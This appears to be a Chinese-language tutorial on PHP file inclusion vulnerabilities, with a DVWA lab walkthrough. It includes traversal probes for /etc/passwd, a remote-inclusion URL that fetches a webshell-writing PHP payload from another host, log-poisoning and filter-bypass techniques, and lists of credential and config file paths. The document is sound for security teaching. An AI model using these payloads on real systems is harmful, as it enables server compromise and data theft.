文件包含漏洞

基本原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。

漏洞产生原因:

1
2
3
4
<?php
$path=$GET_['path'];
include_once $path;
?>

1、Web 应用实现了动态包含

2、动态包含的文件路径参数,客户端可控

php文件包含关键字

1
2
3
4
1.include()//文件包含失败,会产生警告,脚本会继续执行
2.include_once()//与include() 功能相同,文件只会被包含一次
3.require()//文件包含失败是,会产生错误,直接结束脚本执行
4.require_once()//与require() 功能相同 ,文件只会被包含一次

注:在进行文件包含测试时须将php.ini中的

​ allow_url_fopen=On

​ 本地文件包含(LFI)

​ allow_url_include=On

​ 远程文件包含(RFI)

分类

特征

?page=a.php

?home=b.html

?file=content

检测方法

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php

漏洞利用

注意包含文件时如果文件中没有php代码就返回整个文本,如果有php代码则无条件执行

读取敏感文件

可以利用文件包含漏洞读取网站任意文件

例如读取hosts文件

[?path=c:\windows\System32\drivers\etc\hosts]

[?path=............\windows\System32\drivers\etc\hosts]

Getshell

通过文件包含可以实现向网站上传一句话木马,上传方式有三种

  • 思路:
    先在b服务器放置getwebshell.txt
    然后在a服务器找到文件包含漏洞
    接着通过a服务器去包含b的getwebshell.txt

    eg: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.1.200/getwebshell.txt

    然后用菜刀连接

    其中getwebshell.txt内容如下

    1
    <?php fputs(fopen('shell.php','w'),"<?php @eval(\$_POST['shell']); ?>");?>

    当a服务器include该文件后会在服务器当前目录下生成一个webshell,然后用蚁剑连接即可

  • 思路:

    现在a网站找到文件上传漏洞,然后上传getwebshell.txt,然后利用本地文件包含来生成一个webshell,然后用蚁剑连接即可

  • 思路:

    可以利用包含本地日志文件的方式,因为我们知道一个网站的日志文件一定是有写权限的,我们可以设法将getwebshell.txt内容写到日志文件中去,然后包含日志文件就会在服务器当前目录下生成一个webshell,然后用蚁剑连接即可

    例如浏览器输入

    显然当后端include $page的时候就会发生错误因为这不是一个有效路径

    所以就会在日志中记录下来,打开D:\phpStudy\PHPTutorial\Apache\logs\error.log发现里面多了一条记录:

    1
    [Tue Jul 20 16:36:30.656654 2021] [:error] [pid 8072:tid 2188] [client 127.0.0.1:54929] PHP Warning:  include(): Failed opening '&lt;?php @eval($_POST['shell']); echo&quot;luck&quot;; ?&gt;' for inclusion (include_path='.;C:\\php\\pear;../../external/phpids/0.6/lib/') in D:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\vulnerabilities\\fi\\index.php on line 36

    这时候只要攻击者知道日志文件的路径然后利用文件包含漏洞就可以getshell

DVWA 文件包含漏洞

low

点击file1.php发现url为:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php

且页面返回如下:

点击file2.php发现url为:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file2.php

且页面返回如下:

符合文件包含特征,初步判断后端可能存在文件包含,代码猜测如下:

1
2
3
4
<?php
$path=$GET_['page'];
include_once $page;
?>

尝试将参数改为http://127.0.0.1/index.php

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/index.php

页面回显

表明存在文件包含漏洞,且没有经过任何前端过滤措施

接下来尝试getshell

假设攻击者服务器也是127.0.0.1且在根目录下存放getwebshell.txt

然后url中输入http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/DVWA/getwebshell.txt

发现受害者服务器中出现了shell.php

1
<?php @eval($_POST['shell']); ?>

然后利用蚁剑连接,添加数据如下

连接成功,获取对方服务器各种信息

以下所有级别getshell方法如上相同,所以不再赘述只讲如何触发文件包含漏洞

Medium

继续输入http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/index.php

发现页面回显

说明后端过滤掉了http://,所以尝试双写绕过

输入http://127.0.0.1/DVWA/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/index.php

返回index.php成功,触发成功

源码:

1
2
3
4
5
6
7
8
9
10
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

从代码也可以看出来对关键字进行了过滤

high

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

源码中限制了文件名来防止恶意文件包含,!fnmatch( "file*", $file )代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

此时平常的绕过就不好使,可使用file协议来触发文件包含

输入url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file://D:\phpinfo.php

成功回显

Impossible

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

由后端代码可知前端输入参数必须是这些固定值,所以无法实现文件包含漏洞

总结

三种包含手段:本地包含,远程包含,file协议包含

绕过方式:file协议,双写绕过

危害:敏感信息读取,getshell

防御方法

  1. 尽量不使用动态包含,无需情况下设置allow_url_include和allow_url_fopen为关闭;
  2. 对可以包含的文件进行限制︰使用白名单的方式,或者设置包含的目录,open_basedir ;
  3. 严格检查用户输入,参数中不允许出现../之类的目录跳转符;
  4. 严格检查变量是否初始化;
  5. 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

常见敏感路径

1 Windows
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
C:\windows\repair\sam //存储 windows 系统初次安装的密码
C:\Program Files\mysql\my.ini //mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php 配置信息
C:\windows\my.ini //mysql 配置文件

2 UNIX/Linux
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2 默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP 相关配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu 系统的默认路径

日志默认路径
(1) apache+Linux 日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log

(2) apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件
日志文件在用户安装目录 logs 目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
web 中间件默认配置
(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config

https://gcdcx.blog.csdn.net/article/details/106007539

https://blog.csdn.net/weixin_43847838/article/details/111088010

https://blog.csdn.net/qq_39431542/article/details/88628225

https://www.wawyw.top/posts/38386.html